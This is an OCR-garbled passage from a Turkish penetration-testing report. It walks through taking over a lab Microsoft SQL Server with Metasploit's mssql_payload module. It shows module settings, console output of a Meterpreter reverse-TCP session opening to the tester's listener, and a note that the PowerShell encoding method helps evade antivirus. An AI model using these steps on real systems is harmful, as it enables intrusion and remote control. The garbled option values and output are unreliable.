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5.2. ZARARLI YAZILIM KULLANARAK HEDEF SiSTEMIi ELE GECIRME

Ag icerisinde bulunan Microsoft SQL Server Uzerinde hesap bilgisi ele gecirildikten sonra
isletim sistemi de ele gegirilebilir. Bunun igin test ortaminda hedef sisteme Meterpreter zararli
yazilimi bulastirilmistir.

Metasploit modiillerinden olan “mssql_payload” bu islem kullanilabilir. Bunun icin modiil aktif
hale getirildikten sonra payload belirlenip; hedef IP adresi, hedef port numarasi, kullanici adi,
sifre vb. gerekli ayarlar girildikten sonra yine moddl ¢alistirilir.

Test ortaminda payload olarak “windows/meterpreter/reverse_tcp” kullaniimistir ve
modullin aayarlarini igeren ekran goriintlisii asagida verilmistir.

Module options (exploit/windows/mssql/mssql_payload):

Name Current Setting Required Desc rlptlnn

METHOD ps yes Which flﬂdd delivery method to use (ps, cmd, or old)
PAttNDRD -123 N he pas i r the fied username

5 ain of format type:host:port[,type:host:portl[...]
RHDbT 92.168.48.130  yes he et address
RPORT yes he target port
USERNAME ! he me to authenticate as
USE_WINDOWS_AUTHENT lese yes Use 5 authentification (requires DOMAIN option set)

Payload options (windows/meterpreter/reverse tcp):
Name Current Setting Required Description
EXITFUNC ] yes ;' technique (accepted: seh, thread, process, none)

LHOST 8.48.128 yes
LPORT 234 yes The listen pnrt

Sekil 20 - Modiil Ayarlari

Burada dikkat edilmesi gereken noktalardan birisi, modil ayarlarindan olan “METHOD”
degeridir ve (g farkl deger alabilir. Bunlar sirasiyla ps, cmd ve old degerleridir. Eger payload
hedef sisteme Power Shell kullanilarak génderilip galigtiriimasi isteniyor ise “ps” segilir. Eger
payload hedef sisteme standart komut satirindan génderilmek isteniyorsa “cmd” segilir.

Test ortaminda “ps” metodu kullaniimigtir. Modil ¢alistirildiginda 6ncelikle hedef sisteme giris
yapacak, xp_cmdshell aktif mi degil kontrol edip degilse aktif edecek ve payloadi sisteme
yukleyip calistiracaktir. Asagidaki ekran goruntisinde hedef sistem (zerinde alinan
Meterpreter oturumu gorilmektedir.

msf exploit( ) = exploit
*] Ltarted reverse handler on 192.168.
1) i i i in the SOL Server %TEMP% directory
*] leoﬂdlnq thﬁ pdwlﬂjd JRjdA F patient..
*] LGHVPttlHq thp pdflﬁdd utlll‘lnq inprhhpll En-odpdlammﬂnd
1 1o

] ay

*] Sending ftjqp I??GU4 ] .168.48.130

*] Be sure to ¢ .

¥] Meterpreter session l GpFHFd IlH lEd.dS 128:1234 -= 192.168.48.130:49259) at 2015-02-27 05:25:59 -05

meterpreter = |j

Sekil 21 - Meterpreter Oturumu
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Zararl yazihmi bulastirilirken kullanilacak olan metot olarak “ps” metodunun segilmesinin
nedeni, modil bu metot kullaniminda Power Shell komutunu encode ederek galistirmaktadir
ve antivirls benzeri koruma yazilimlarinin atlatiimasinda ise yarayabilmektedir. Yukaridaki
ekran gorintisiinde “Converting the payload utilizing PowerShell EncodedCommand...”
satirinda gorilebilecegi lizere modil Power Shell komutunu ¢alistirirken “EncodedCommand”
parametresini kullanarak komutu encode etmektedir.
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